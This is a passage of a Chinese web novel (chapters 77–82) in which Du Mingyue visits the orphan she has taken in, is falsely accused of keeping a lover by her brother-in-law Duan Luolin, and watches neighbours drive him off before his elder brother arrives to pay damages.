孟小桥爽朗的笑声感染了杜明月和红豆,杜明月点点头,也没有勉强她。 不出一刻钟,孟小桥已经将所有的东西都收拾妥当了。红豆也已经将马车备好,杜明月同乘一辆马车,亲自将孟小桥送了回去。 返程时,杜明月看着高高低低的民房,也不知道为何,突然想起了那个被她收养的小乞丐。 她也有段日子没有去看过他了,也不知道他最近过得如何。 虽说她早已安排富贵叔帮忙照顾他,但富贵叔毕竟还要帮他照看生意上的事情,也做不到事无巨细的时时刻刻陪伴着。 杜明月想到这里,便对红豆道,“改道,去看看那杜凌风孩子吧,也不知道他近日来,功课如何了。” 红豆立马听懂了,她掀开帘子,对马车夫说了几句,那马车夫立马点头,拽着缰绳,将马车换了方向,一路朝着北街的方向驶去。 到了巷子口,因为道路狭窄,马车不容易进,杜明月便从马车上下来,带着红豆徒步走向她为杜凌风租下的民居。 眼前是普通的不能再普通的木门,门上还贴着一对红色的楹联,门口被打扫的十分干净,杜明月抬手,轻轻的扣了扣门,很快大门便从内打开了。 第七十七章 进步神速 “杜姐姐!真的是你!”杜凌风的眼神从开门时怯怯打量的模样,瞬间变得熠熠发光。 他满面笑容十分的开心的将门开的更大了一些,给杜明月让出了位置,“杜姐姐里面坐吧。” 杜明月微笑点头,迈进了门槛,打量眼前的这所房子。 因李富贵和林娇一起,还有个三四岁的孩子要照顾,杜明月觉得让杜凌风和他们住在一起,会互相干扰,并不妥当,因此便租下了这间距离李富贵家只有十米不到的房子给杜凌风居住。 这么一来,两家平日里往来走动也方便,若杜凌风这边真的有什么动静,李富贵家也能立马听到,赶来帮忙。 不大的院子被杜凌风收拾的很干净,家具都摆放的井井有条。 杜明月满意的看向杜凌风,他比初见那日看起来要健康多了,两颊也有肉了,浑身干干净净。 唯一不变的大概便是那双始终炯炯有神的眸子,里面好像有一团不会被浇灭的希望之火,让人看了精神都为之一震。 “杜姐姐坐这里。”杜凌风不好意思的用袖子擦了一下板凳,看着杜明月坐下后,又道,“杜姐姐是要喝茶还是喝糖水?李叔都给我准备了一些。” 杜明月没想到短短几日的功夫,杜凌风竟然连待客之道都跟着李富贵学习了。 她伸手拉住了杜凌风,“不急,你先坐下陪我说说话吧。” 杜明月目光温柔的看着他,杜凌风心中一暖,立马乖巧的坐了下来。 “一个人在这里住的还习惯吗?”杜明月关心的询问,“生活上还有没有什么需要的,都跟你李叔说。” 杜凌风受宠若惊的直摆手,熠熠发光的眸子里盈着点点泪光,他真诚的道,“什么都不缺,李叔对我也很好。” “谢谢杜姐姐愿意收留我。还让我和其他的孩子一样能进学堂读书。”杜凌风说着突然起身,没等杜明月反应过来直接跪在了地上,给她行了一个跪拜大礼。 “自从我爹娘死后,再也没有人对我这么好。”杜凌风的声音哽咽了,他抬起头用手背擦了擦眼泪,呜咽的继续说道,“我知道我现在能吃得饱,穿得暖都是因为杜姐姐心善。” “杜姐姐的大恩大德,我杜凌风没齿难忘,从今以后我结草衔环,一定报答杜姐姐的恩情。” 杜凌风说的这番话都是发自肺腑,十分真诚,杜明月也能看得出来。 她心中感慨,急忙将哭成泪人的杜凌风拉了起来。 “这些都是后话,现在你就好好将自己照顾好,好好读书便是对我最好的报答。”杜明月抬手摸了摸他的头,还伸手擦去了杜凌风脸上的泪痕。 “都是小男子汉了,以后不能随随便便落泪。”杜明月微笑着开口,本是句玩笑话,却没想到杜凌风真的听进去了。 他看着杜明月认认真真的点头,“杜姐姐,我记住了。” “近来功课如何,去了学堂能跟上先生的进度吗?”杜明月关心询问,杜凌风刚想回答,门外传来了李富贵的声音。 “小风,看你李叔今天给你又带什么好吃的来了,这可是你林姨拿手的……”李富贵进门,话还没说完,一抬头看到杜明月也在,下意识的愣了一下。 “小姐,你今日怎么得闲过来了?”李富贵开心的脸上都堆起了笑纹,一见杜明月,话也自动变多了起来。 他拉着杜凌风,一脸兴奋的道,“小姐,小风真是个好苗子,这几日去学堂,每天都受到先生的表扬,先生夸他进步神速。” “所以说启蒙晚了一点,但好在他刻苦努力,先生说照这样发展下去,考个秀才也不是没有可能。”李富贵滔滔不绝的说着,杜明悦听了也觉得很惊喜。 她抬头看向杜凌风,“要是真能依先生所言就更好了。” 杜凌风有些不好意思的红了脸,但目光十分坚定,“杜姐姐,我一定会努力的。” “对了,杜姐姐吃过午饭了吗?”杜凌风的眸子里带了些小心翼翼的试探,“如果杜姐姐不嫌弃,要不要今天留在这里和我一起吃。” 杜凌风说完有些局促不安的揪住了自己的衣角,像是生怕杜明月拒绝一般。 杜明月能看得清他眼底的渴望和感激,立马伸手用力的揉了揉他的脑袋笑道,“你怎么还是这么生分?我怎么会嫌弃你?不过,你真的会做饭?” 只是这句话问出口,杜明月又觉得有些后悔了。 想来以前杜凌风都是一个人,那为了照顾自己,填饱肚子,那自然是会做一些饭食的。 不过好在杜凌风也并不是个内心十分敏感脆弱的人,因此不仅没有因杜明月的话而勾起伤心的往事,反而因为杜明月答应了他的话十分开心。 他立马抬起头,眸子里星光闪耀,用力的点头道,“杜姐姐,我最拿手的就是下面条了。早上李叔还给我送了很多面条来,我现在就去做。” 说完他立马转身,像一只快乐的小狗一样冲进了灶房。 杜明月满脸笑容,目光欣慰的看着他在灶房里忙碌了起来,熟练的点火,煮面,做浇头。 “小风做的面条真挺好吃的。”李富贵憨厚的摸着自己的下巴,笑容满面像是在回忆那碗面条的美味。 “小姐,你眼光真好,我觉得小风以后肯定能成大事,要是我儿子以后也能像这么懂事就好了。” 李富贵一脸羡慕的感叹,“小姐你不知道,福儿现在整天就知道玩泥巴,完全是个皮猴子,我们都愁死了。” 杜明月被他的话逗笑,忍不住道,“富贵叔,福儿现在还多小啊,那孩子机灵聪明,又有你和婶子这么好的两个人教养。以后也不会差,你别太急了。” “小姐你说的也有道理,好,我记下了。”李富贵憨厚一笑,因在这里,两人也不好说些机密的消息,因此只能有一搭没一搭的闲聊着家常。 很快,香气便从灶房传了出来,李富贵回头看见杜凌风一脸开心的端着一个大碗出来,立马起身帮他端了过来。 第七十八章 自己摘的蘑菇 “杜姐姐,这是我跟富贵叔学的臊子面。” 杜凌风一脸羞涩的笑容,不好意思的背着手站于杜明月面前,“姐姐对我如此好,我也没有什么能为姐姐做的,也就只能给姐姐做一碗面。” “这已经很好了。”杜明月伸出手鼓励的摸了摸他的脑袋,拿起筷子一副迫不及待的样子道,“一定很好吃。” 杜明月将臊子面的浇头拌开,面条的香气混着臊子的香气扑面而来,她忍不住微笑道,“很香。” 杜明月一口咬下去,面条也煮得软硬适中,恰到好处,她满意的点头,又一连吃了好几口。 “红豆姐姐,你在这里坐着,我也去给你盛一碗。” 杜凌风回头,见红豆望着那碗面条双眼亮晶晶的,一副跃跃欲试的模样,立马不好意思的道,“还有很多,红豆姐姐要是喜欢的话,一定多吃几碗。” “嗯嗯,好。”红豆点着头刚想坐下,又觉得吃着杜凌风做的面条,还要一个小孩子帮她端过来,实在太不应该了,便起身拉住他道,“我自己去盛。” 很快红豆便端来一碗面,她回来时,杜明月才吃了半碗,等到杜明月吃完一抬头,只见红豆已经一脸满足的起身,准备再去盛一碗了。 李富贵见状笑道,“红豆姑娘真不愧是练武的,这么能吃也不胖。” “对了,下午铺子里还有些事等着我去处理。”李富贵一拍脑门,想起自己还有事得赶紧走了。 “富贵叔你去吧,我在这里再坐坐。”现在的杜明月本就不喜欢经常在府里待着,因此总是会寻些事由出府散心,今日也没什么别的事情,就在杜凌风这里消磨下时间再回去吧。 “诶,那是你采的蘑菇吗?”杜明月一抬眸子,发现灶房边上摆着一篮蘑菇,便好奇的走了过去,还挨个拿在手里观摩。 圆圆的伞帽,摸上去手感滑滑的,拿来做汤一定很鲜,杜明月探头去看篮子里的其他蘑菇,发现还有许多不同的颜色。 她一抬头,杜凌风不知道什么时候,已经站在她身边了。 “你这么厉害,竟然认得这么多蘑菇啊?”杜明月一脸的新鲜和好奇,甚至被勾出了小时候幸福的回忆。 江南气候湿热,以前她也见过一面长满蘑菇的地方,只不过那时她年纪太小,又是陪着外祖母出去踏青,外祖母不让她摘,又给了她好多甜甜的小零食,她也就不摘不闹了。 杜明月望着手中的蘑菇露出了笑容,说实话,真是有点想外祖母了。不行,她还是要尽快拿到和离书,好早日去江南寻她的祖母。 “杜姐姐很喜欢这些蘑菇吗?”杜凌风稚嫩开心的嗓音在杜明月耳边响起,立马将杜明月从回忆的思绪中拉了出来。 “嗯,喜欢。”杜明月也露出了小孩子般真诚的笑容。 谁知,她的话音还没落,就看到杜凌风转身从灶房里拖出一箩筐的蘑菇来。 “哇,这么多,都是你自己摘的?真厉害!”杜明月凤眸亮晶晶的,一脸佩服的看向杜凌风,没想到他小小年纪懂得真多。 杜凌风被她夸得有些不好意思,只能如实道,“虽说杜姐姐说会资助我,但我不是贪得无厌的人,我还是想做些力所能及的,靠我自己的努力赚点钱。” 他挠了挠头道,“现在正是蘑菇生长的季节,所以我就想采了这些蘑菇,利用闲暇时间拿去集市卖了换点钱……” 杜凌风说着,抬头见杜明月怔怔的看向自己,立马急急的开口道,“但只要姐姐喜欢,这些都不重要,姐姐这一筐你都拿走吧,这一篮子我本也是想留给富贵叔的,刚才我忘记了。” 听着杜凌风一个人说了这么多,杜明月的心中一软,鼻子竟有些酸了。 她真的没想到杜凌风竟然这么懂事,即便有了她的资助,也没有选择安心的坐享其成,此子日后必能做出一番事业来。 杜明月平复了下心情,敛去眼底的情绪,抬手温柔的摸了摸杜凌风的头,认真的道,“凌风,你有这个想法很好,我也很感动,但我不建议你这么做。” “你现在还小,你应该把更多的时间和精力用在读书学习上,做这些事情没有错,但会消耗掉你大量的时间跟精力,你本该有更高的成就,而不应该为此变得平庸,知道吗?” 杜凌风一动不动的看着杜明月,沉默了良久,眸子里没有迷茫,却变得更加坚定。 “杜姐姐,我知道了。”杜凌风认真道,“我记住了。” 杜明月闻言,放心一笑道,“当然了,总待在家里只读书也不行,偶尔在家里待得闷了,出去走走,那时摘些蘑菇拿回来也很好。” 杜明月又抬手摸了摸杜凌风的脑袋,杜凌风露出一排整齐的牙齿嘿嘿一笑。 红豆正好又吃完了一碗面抬头笑道,“奇怪,不知道是不是富贵叔总来照顾的原因,怎么赶紧凌风一笑和富贵叔有点像呢!” 杜明月闻言,仔细一瞧,发觉是笑得有几分憨厚,忍不住捂唇一笑,“你红豆姐姐是在夸你。” 杜凌风也笑得开心,立马蹲下身,要帮杜明月处理那筐菌子身上沾的泥土。 “没事,放着,到时拿回去,有厨房的婆子帮忙收拾。”杜明月将杜凌风拉了起来,一脸认真的道,“不过,你刚才说,现在正是采摘菌子的好时候,我也想去亲自摘摘看。” “你是在哪里摘的,过几日我出门踏青,再去摘一筐。”不知为何,杜明月说这话时,脑海里竟然莫名想起了慕子叙的身影。 难道是想亲手摘一筐菌子送给他吗? 意识到自己这个念头时,杜明月一愣,内心触动。 她随即立马安慰自己,都是因为慕子叙救了自己太多次。上次踏青时,也是他在野外救了自己,所以此刻联想到他来,也实在是再正常不过了。 “杜姐姐,我可以告诉你地点,但你要自己去摘的话可不行!”杜凌风着急的开口,一脸担忧的看着杜明月,十分认真道,“野外蘑菇的种类很多,大多都是不能吃的,有毒!” 第七十九章 段骆霖闯门 “姐姐,你要是真的想去摘蘑菇,那一定要告诉我,我陪你一起去!”杜凌风一脸认真,眸子里满是要保护杜明月的坚决。 “那好啊,过几日应该是你学堂的休沐日,到时我们来接你一起去踏青游玩好不好?”杜明月也来了兴致,觉得这应该会是一次很不错的出游体验。 “踏青游玩?”杜凌风微微怔了一下,目光里有些期待,因为他长这么大,还从未有过游玩踏青的经历。 “嗯,到时姐姐带你去放风筝、划船……总之,凡是你看到的好玩的,姐姐都带你去。”红豆一把揽过杜凌风的肩膀,大大咧咧的笑着,细数这些好玩的事情。 杜凌风脸上露出了向往的神色,抬头望着红豆开心的点头。 红豆瞧着他们两个一大一小,煞有介事的模样,忍不住被逗笑。 正当她掩面而笑时,突然听到了门外传来一阵喧嚣吵闹声。 “在你们这里是不是?开门,让我进去!” “你说你们家里没人?不在你们这里?最好是实话!要是被我逮到你骗我,你就完了!” 声音由远及近,杜明月和红豆听清那是段骆霖的声音时,不由得一惊,两人对视了一眼。 杜明月暗暗咬牙,攥紧了双手,不知那段骆霖究竟是从哪里得来了消息,知道自己在这里,又因不确定自己到底在哪儿,这才会挨家挨户的敲门查探! 段骆霖如此肆意闯门扰民,实在是仗着自己的身份,太过嚣张跋扈了。 “让凌风先进屋!”杜明月已经察觉段骆霖的声音越来越近,恐怕很快就会找到这里,立马起身叮嘱红豆。 红豆生怕吓到杜凌风,蹲下身子认真道,“没事,不怕,姐姐在这里,就是有点小麻烦,你先进屋等着。” 虽然杜凌风一开始见她们神色变了,有些不安,但又见杜明月和红豆丝毫不乱,内心便也安定了下来,并不害怕。 杜凌风配合的点点头,立马一个人进屋去了。 杜明月冷着面孔,一脸淡定的坐下,红豆才刚刚在她身边站定,这房子的大门突然被人用脚用力的踹开了。 当段骆霖看清坐在院子里的杜明月时,先是一愣,立马怒气冲冲的走上来。 “好啊!你竟真的在这里!”段骆霖面孔因为愤怒而有些扭曲,他指着杜明月道,“我尊称你一声大嫂,可你却偏偏不知廉耻,在这里自甘堕落,自甘下贱!” 段骆霖的话让杜明月不禁皱起了眉头,这段家两兄弟在轻视女人这一点上,还真是如初一辙,她当初真是瞎了眼,才想要对这两兄弟好。 “怎么,你不敢反驳?果然是被我说中了,真是没想到,你如今真是性情大变,水性杨花,你去南风馆和那妓子鬼混在一起还不够,竟然还在这里养外室!” 段骆霖说话间不经意低头,正好看到桌上还有未收起的饭碗,他脸色一变,猛地拿起碗,狠狠的砸在了地上。 破碎的碗溅起的碎片飞起,直朝着杜明月的脸上飞来,若不是红豆眼疾手快的用袖摆一挡,恐怕要生生将杜明月的脸划出一道伤口来。 而段骆霖清清楚楚的看到这一幕,不仅不觉得愧疚失态,还觉得不够一般,继续指着杜明月骂道,“养男外室,你也算是京城独一份了吧!你真是要把我们段家的脸面全部丢光!” “你等着,我回去一定告诉大哥,让他给你上家法,跪祠堂,禁足!”段骆霖大喊大叫,自己狠狠骂了一通,觉得嗓子都哑了,可杜明月却没有丝毫的反应。 甚至段骆霖一抬头,看到的竟是杜明月那双盈着不屑、嘲讽的眸子,她冷冰冰的坐在那里,好像在打量一个小丑一般。 段骆霖受不了这样的无事,猛地又冲到杜明月的勉强,他本想抓着杜明月的手腕,大声质问,可是还没有靠近,却被红豆猛地一把推开了。 那些被红豆按着打的不好的记忆涌上心头,段骆霖下意识的退了一步,可是又觉得不甘心,他指着杜明月道,“难道你就没有什么想解释的?你就真的这么认了?” 杜明月依然眸子冰冷的看着他,不想和他浪费一句口舌,只静静的看着他发疯,她现在只觉得和段家兄弟俩多费一点口舌都是对自己的不尊重。 段骆霖在原地愣了许久,见杜明月真的这样无视他,一点不在意他的想法,不知为何,心中更加烦闷压抑了,这种感觉几乎要将他逼疯。 他转身发了狂一般的,将院子里,他能看到的所有东西都砸了个稀巴烂。 “主子,要我上去制止吗?就看着他这么干吗?”红豆有些担心,毕竟杜凌风还要在这里住呢,砸得不少东西都是日常生活所需的物品。 “没事,让他砸。”杜明月柳眉微挑,淡淡的开口道,“正好可以给这院里换一批新的。” 红豆一听这话,立马反应了过来,眸子发亮,看着杜明月暗暗伸出了大拇指,“主子,高啊,这下子估计那段老夫人又要晕过去了!” 杜明月微微一笑,主仆二人继续回头看着段骆霖发疯。 也不知道段骆霖大概发泄了多久,总之院子里已经是一片狼藉,甚至门口都已经站满了里三层外三层看热闹的百姓,段骆霖这才气喘吁吁的收手。 “杜明月,你这个贱妇,还是嘴这么硬,什么都不肯说吗!” 段骆霖几乎要将一口牙咬碎,他还是很想上前抓杜明月的手,奈何红豆的防御实在是如铜墙铁壁一般,他始终不能如愿。 “好,好,你可以什么都不说,走,跟我回去,我倒要看看你到了我大哥面前,还能不能这么嘴硬,竟敢放着好好的夫人不做,偏要打自己的脸,去养男外室!” 段骆霖恼怒的指着外头的百姓,大声道,“你们来说说!她这种在外面偷养男外室的行为下不下贱!可不可耻!” 众人闻言,纷纷小声议论。 虽说也有不少人,用怪异的眼光看着杜明月,但大多数人因为刚才段骆霖无礼打扰到众人的举动,而怀疑他话语里的真实性,因此并没有几个人真的信他的话。 第八十章 他才七岁啊 此时,杜明月看段骆霖发疯也发得差不多了,这才缓缓的朝着门口走去。 “红豆,走吧,咱们待得时间也很久了,该回去了。” 直到此刻,杜明月依然没有要搭理段骆霖的意思。 杜明月甚至都迈出了门槛,毫无办法的段骆霖只能继续追在后面骂骂咧咧道,“你们这对奸夫淫妇,别以为你走了,这里的男人还能一直躲下去,我一定会把他揪出来抽筋剥皮!” 他的话音未落,走在前面的杜明月突然脸色一变,顿住了脚步。 正跟在她后面骂骂咧咧的段骆霖似乎也没想到她会突然如此反应,猛地一愣,随即反应了过来。 他认定,杜明月是被自己的话说中了心事,而他刚才的话也顺利抓到了杜明月的痛处。 段骆霖咬牙,又恨又气,觉得自己总算找到法子对付杜明月,杜明月不再对自己毫无反应了。 他转身就要往屋里走,边走边大声道,“是我气糊涂了,竟忘记了抓奸抓双,那奸夫现在一定就在这间屋子里,我倒要让大家都亲眼看一看,这是怎样的一对狗男女!” “站住!”杜明月猛地转身,清冷动听的嗓音赫然出声,周身都散发着一股寒意。 不知为何,段骆霖看着她的眸子,竟然感觉到了一丝威压,他的内心不禁抖了一下,即便内心不愿,还是下意识的顿住了脚。 “你既然这么想看,我便让你看看!”杜明月微微侧目看向红豆,声音也轻柔了下来,“去将他带出来。” 红豆一愣,心中虽有犹豫疑惑,但她想杜明月既然这么做,一定有她的道理,杜凌风不会有事的。 红豆进屋,杜明月望着她的背影微微出神。 其实,原本杜明月是不想让杜凌风出面的,可是刚才段骆霖的话却也提醒了她。 她今日如果不将事情说清楚,那恐怕段骆霖还会来找杜凌风的麻烦,而且最重要的是,若门口的这些邻居们真的误会了,那日后看到杜凌风出入这里,对他的身份产生误会就麻烦了。 无论如何,她既收养了这个孩子,便会对这个孩子负责,要给他好的读书环境才行。 她正想着,红豆已经牵着杜凌风的手出来了。 当段骆霖看到和红豆出来的只是一个六七岁大的孩子时,震惊的神色想藏都藏不住。 “怎……怎么可能?”段骆霖不相信自己的判断出了错,也想不通杜明月会和这个穷人家的孩子有什么关联,疑惑的抬头,目光在杜明月和红豆两人脸上来回游移。 “你们在骗我是不是?”段骆霖像是突然想到了什么,指着杜明月道,“这孩子是你奸夫的孩子对不对?杜明月你竟然自甘堕落到这种地步,一个有孩子的鳏夫你也要!真下贱!” 红豆终于忍无可忍了,她松开杜凌风的手,冲上去狠狠的推了段骆霖一把。 如果不是背后有墙壁支撑,段骆霖差点便摔在了地上。 段骆霖抬起头,就对上了那孩子冷冷的目光,心中不知为何一慌,反应过来后,他气急败坏的瞪眼,没想到他的气势竟然差点被一个孩子给压了过去。 杜凌风此刻正在狠狠的盯着段骆霖,刚才他在屋里对外面的动静听得一清二楚,虽然不认识此人,心中却已经有了定论,那就是此人不是好人!是绝对的坏人! 因此杜凌风和他对视,没有丝毫的害怕,只是正义的审视和敌意。 “你是不是忘了我的拳头是什么滋味了!你再敢乱骂我主子一句,我就在这里打得你满地找牙!让你成为众人的笑柄!” 红豆又狠狠的推了段骆霖一把,段骆霖嚣张的气焰果然消减了不少。 红豆又道,“你好好睁开你的狗眼看清楚,他才七岁啊,只是个孩子,怎么给人当外室,你说话不要太荒谬!真是笑话!” “这……”段骆霖看到门外的百姓们纷纷笑他,他觉得丢脸至极,但又不死心道,“不对,屋里一定还有人,我不相信你们,我要自己进去找!” 段骆霖说着,自己一个人跑进了屋子,很快又跑出来检查灶房和柴房,将所有的屋子都找了一遍,确定没人,这才垂头丧气十分沮丧的走了出来。 “红豆。”杜明月压低声音轻轻唤了一声,当红豆看向她时,她用下巴朝着围观百姓们的方向示意了一下,红豆眼睛一亮,立马懂了。 她故意走出大门,在一众围观看热闹的百姓们面前大声嚷嚷。 “大家都给我们评评理啊,真是没天理了,不让人活了啊。”红豆说着,将一旁的杜凌风拉过来给大家看。 “这是我们主子收养的孩子,因为暂时不方便带在身边,才没办法将他安置在这间房子里。” 红豆甚至越说越起劲,直接哭了起来,一旁的杜凌风见状,眨了眨眼睛,竟然也十分努力的挤眼睛流泪来配合。 “至于为什么不方便,还不是因为府里有这样的人在,要是我们主子贸然带在身边,他还不知道要在府里怎么编排我们主子呢!” 众人纷纷一脸同情的看向杜明月,红豆继续大声道,“大家说说,他今日这么来一闹,多亏大家都在能做个见证,不然我们主子以后出门怎么做人啊,这孩子可怎么活啊。” 围观众人听着红豆的哭诉,也开始生气了,指着段骆霖骂了起来。 “就是,你们听听他刚才嘴里都骂的是些什么难听的话啊!真是太过分了。” “没错,我早就看他不是个好东西,你们没看见,他刚才是怎么踢我们家的门的,说是来找人的,我还以为是来抢劫的呢!” “你说这姑娘年纪轻轻的也是命苦,听他刚才口里说什么大哥大哥的,这姑娘嫁进这样的人家给他做嫂子,真倒霉!” “这位姑娘真是受苦了,如此心善,还会收养无家可归的孩子,现在多难得啊。” “是啊,这孩子可懂事呢,前两日,我挑扁担回来,走到上坡路,正好赶上这孩子下学,还帮我拿东西了呢!” 第八十一章 引起民愤 此时,甚至还有正义感十足的青壮年男子替杜明月发声。 “滚出去!我们这里不欢迎你!再在这里胡说八道欺负人,小心我们打你!” “对,再在这里闹事,我们直接把你送到官府!看你还敢不敢来!” 本来被骂的段骆霖心情就糟糕透了,现在听到他们这么说,心中的火气一下子就上来了。 他想到自己好歹是镇南侯府的二公子,眼前这些人都是没有身份没有地位的普通百姓,他根本不需要将这些人放在眼里。 段骆霖一副高高在上的姿态指着众人骂道,“你们这些贱民,胆敢这么跟我说话……” 然而他的话没有说完,“贱民”两个字已经完全触犯了众怒,众人纷纷出声讨伐。 “你竟敢骂我们是贱民,即便是当今皇帝恐怕也不敢这么骂我们吧,毕竟这天下要想太平就得有我们的支持吧。水能载舟,亦能覆舟的道理,你难道不知道?” “没错,管你是什么身份,难不成你的身份能大过当今的圣上?” 围观众人言辞犀利,段骆霖也没想到自己竟然会败下阵来,他心虚的咬了咬牙,正要说什么,突然见到红豆站了出来。 红豆在杜明月的暗示下,故意将段骆霖的身份大声嚷嚷出来。 “大家说的没错,他现在就是想仗着他的身份欺压百姓,鱼肉乡里。”红豆故意大声道,“大家一定仔细看清楚这张脸,日后若是真闹到了官府,也好替我们作证。” “他是镇南侯府的二公子,段骆霖,平日就总觉得自己身份高贵,仗势欺人。如今更是不分青红皂白的污蔑我们主子。” 红豆道,“今日多亏大家伸出援手,替我们主持正义和公道。不然,回到段府,我们主子还不知道要被他编排成什么模样。” 被红豆一顿夸的围观百姓,此刻更是正义感爆棚,又有不少人站出来替他们说话。 “你放心,今天的事我们都听的真真儿的,他若是要闹大,我们都能给你们作证。”一位大娘中气十足的开了口。 “对,我刚才还听他说什么,回去以后,要给这位姑娘上家法,姑娘你可不能委屈自己,实在不行你就报官,可不能任凭他如此污蔑你。”另一位热心的大娘也嚷嚷起来。 “你们……”段骆霖没想到场面会失控成这样,他又气又无奈。 引起民愤,是他没有想到的。 他正担心,自己是否会给镇南侯府引起麻烦的时候,耳边突然又响起了周围人的叫骂声。 “怎么还还不走?不服气?还是觉得你有个当大官儿的哥哥,就能仗势欺人,随便污蔑别人。” “滚,赶快滚!看到你就觉得晦气。” 围观众人中甚至有人实在咽不下这口憋屈气,直接拿出了菜篮子里的鸡蛋和菜叶,朝着段骆霖扔了过去。 有一就有二,剩下的百姓们纷纷效仿此举,很快便有鸡蛋接二连三的扔到了段骆霖的头上。 杜明月和红豆看着他此时如缩头乌龟一般,左右躲闪着不知道会从哪里飞来的鸡蛋,样子十分狼狈,忍不住偷偷对视笑了一下。 “够了,你们住手!快住手!”段骆霖终于忍无可忍,他不再躲避,站直了身子,任由肮脏黏腻的蛋液从他的头上、身上流下来。 他咬牙切齿的威胁道,“随便你们怎么说,但你们现在要是再不走,就别怪我对你们不客气了。” 段骆霖说着,竟然在众人面前晃起了手腕儿,摩拳擦掌,一副随时准备动手的模样。 杜明月心里冷笑出声音,段骆霖的能耐,果然只有这些。 做事情永远这么冲动,不考虑后果。 以前都是她看在一家人的份儿上,三番五次的出面替他收拾残局,可他不但不感激她过去所做的种种,现在竟然还反过来想攀咬自己一口。 段骆霖迟早会因为他的骄傲自大,刚愎自用,付出惨痛的代价。 杜明月在等着这一天,也在等着段府重新走向没落的那一天。 她倒要看看,等她拿到和离书离开以后,段府没有了她的帮助和扶持,还能不能维持住现在的风光? 就在杜明月想看看段骆霖究竟能将事态发展成什么样子的时候,不知道从哪里听到消息的段骆岐赶到了,他急匆匆拨开人群,一脸焦灼的站在众人面前。 “霖儿,够了!闭嘴,不要再胡闹了!” 虽然段骆岐才刚刚出现,还没有将事情的来龙去脉全部弄清,但从百姓口中的议论中,他也能听出来,是段骆霖做了错事,误会了杜明月,引起了众怒。 “大哥!”段骆霖愤愤不平,一脸不甘心的想要和他解释什么,段骆岐却没有耐心继续听他说下去。 “我让你闭嘴!”段骆岐狠狠的瞪了他一眼,段骆霖也能感觉到他是真的生气了,于是只能闭嘴不再说话。 对段骆岐来说,现在最重要的是平息众怒。 他现在正被停职、赋闲在家,本就受到皇上猜疑,政敌更是巴不得要抓住他更多的把柄。 今日事情若是闹大,传到那些人耳朵里,他就真的要被段骆霖连累了,恐怕东山再起都难。 段骆岐心中暗下决心,今日无论如何,都先要安抚住众人,堵住这悠悠众口。 因此,段骆岐压抑着心中的不快,只能陪着笑脸对围观众人道,“大家别误会,我们镇南侯府绝对不会做仗势欺人的事。” “说起来,今日的事情都是我们的家事,我这个弟弟确实不懂事,做事冲动了。知道他今日惹了大家不快,我在这里替他向大家赔罪。” 段骆岐说着,急忙抬手给众人作揖,顺便狠狠瞪了段骆霖一眼,示意他也赶紧给众人道歉。 段骆霖依然不服气,段骆岐抬脚狠狠踹了他一脚,他这才心不甘情不愿的作揖,可道歉时脸都不愿意面对众人。 众人见他如此模样,也知他是个无礼又狂妄自大之人,因此也不和他计较,反倒和段骆岐算起了账。 “看你倒好像是个明白人,若是真的没有仗势欺人,那是最好。”一旁有个汉子指着段骆霖道,“不过他刚才踢坏了我家的门,你得赔偿吧?” 第八十二章 收拾烂摊子 旁边众人一听,也立马将自家的损失争先恐后的报了上来。 “他刚才去我家院子里摔坏了一套碗,还把我们炖的老母鸡汤扬了!” “我家灶房的门也被踢坏了!还有院子里的桌子也被踢坏了!” 段骆岐听得一脸黑线,转头又狠狠瞪了段骆霖一眼,段骆霖瑟缩了一下脖子,大气都不敢出。 段骆岐一看段骆霖这个反应,心里便明白众人说的都是真的,他只能暗暗咬牙,感叹段骆霖当真不争气! “大家放心,只要大家能原谅小弟的过错,今日大家的损失,我愿十倍赔偿!”段骆岐高声向大家承诺。 杜明月闻言,柳眉微微一挑,心中一声冷笑。 看来段骆岐最近真是当冤大头的命,当然,她现在喜欢看段骆岐倒霉! 围观众人闻言,脸上一喜,果然刚才的愠怒都消失不见了,甚至看向段骆岐的神色都客气友善了许多。 “行!那你说话可要算数!你要是敢骗我们,我们真的去官府告你!”有个大娘试探的说了一句,围观众人也纷纷盯着段骆岐脸上的神色变化,生怕被他骗了。 段骆岐立马从身上掏出钱袋子,“我镇南侯说话自然是一言既出驷马难追,今日大家尽管将损失报上来,我立马给大家结清赔偿。” 众人闻言,立马热情高涨,将段骆岐围了个水泄不通。 杜明月看着段骆岐被众人围在中间,一边言语安抚众人,一边散银子了事,一开始还吃得消,脸上都是笑容,越到后面越是疲惫,甚至还时不时用袖子擦一下脸上的汗珠。 等到众人都心满意足的拿了银子散开,段骆岐长舒一口气,急忙回头去看杜明月。 他急急的走到杜明月跟前,试图想要拉住她的手讨好道,“明月,别生气,我知道你今日被冤枉,受了委屈,回去我一定好好罚霖儿!” “大哥!我这还不是为了你!”段骆霖心中不甘,望着仍然不给给自己正脸的杜明月,心中那口闷气依然沉重的压在他的心口,让他心头莫名的烦躁和生气。 “闭嘴!”段骆岐不满的呵斥了一声,“这件事,不用你插手。” 杜明月自始至终都没有开口,给这两兄弟一个眼神反馈。 段骆岐自顾自的继续满脸堆笑的说道,“刚才,我在给大家赔偿的时候,已经从他们嘴里听到了整个事情的原委,我知道你是怕我不悦,才不敢将这孩子带回段府的。” 杜明月闻言,眉头倏地皱紧,一脸警惕的看向段骆岐,不知道他说这话是什么意思,难不成是在打杜凌风的主意? 不,她绝对不允许这种事情发生! “既然你都已经收养了这个孩子,那我也没有任何意见,只是为了避免以后再发生这种误会,不如咱们直接将这孩子带回府里养着吧?” 说着段骆岐微微侧目,将目光落在杜明月身边的小男孩身上。 小男孩的衣服是粗布料子,虽然质朴,但干净合身,一看也是新做的衣裳。 而最让段骆岐不能忽视的是他那一双炯炯有神的眸子,看向他时满是警惕和审视,似是带着不属于他这个年纪的沉稳和思索。 段骆岐不知为何,突然想到了他和杜明月那两个未出世的孩子,心中触动,竟然生出几分想要讨好这孩子的想法。 他微微俯身,试图凑近一些,拉近和杜凌风的距离,却没想到那孩子见他如此,竟然面无表情的直接后退了一步,眉头紧皱,一脸防备的看向他。 段骆岐尴尬的笑了笑,“这孩子一看就很机灵,你叫什么名字?” 那孩子抬头看了一眼杜明月,见杜明月虽然目光冰冷,甚至带着一丝警惕和恨意的看向段骆岐,但并没有出口打断他的询问,便将目光重新落在段骆岐的脸上。 杜凌风不卑不亢的开口,一字一顿,十分清晰的道,“杜凌风。” “杜……”段骆岐刚想重复,意识到杜明月让这孩子随了她的姓,有些意外的愣了一下, 他抬头看了杜明月一眼,见她依然面无表情冷冰冰的看着自己,只能尴尬的笑着回头道,“是个好名字。” 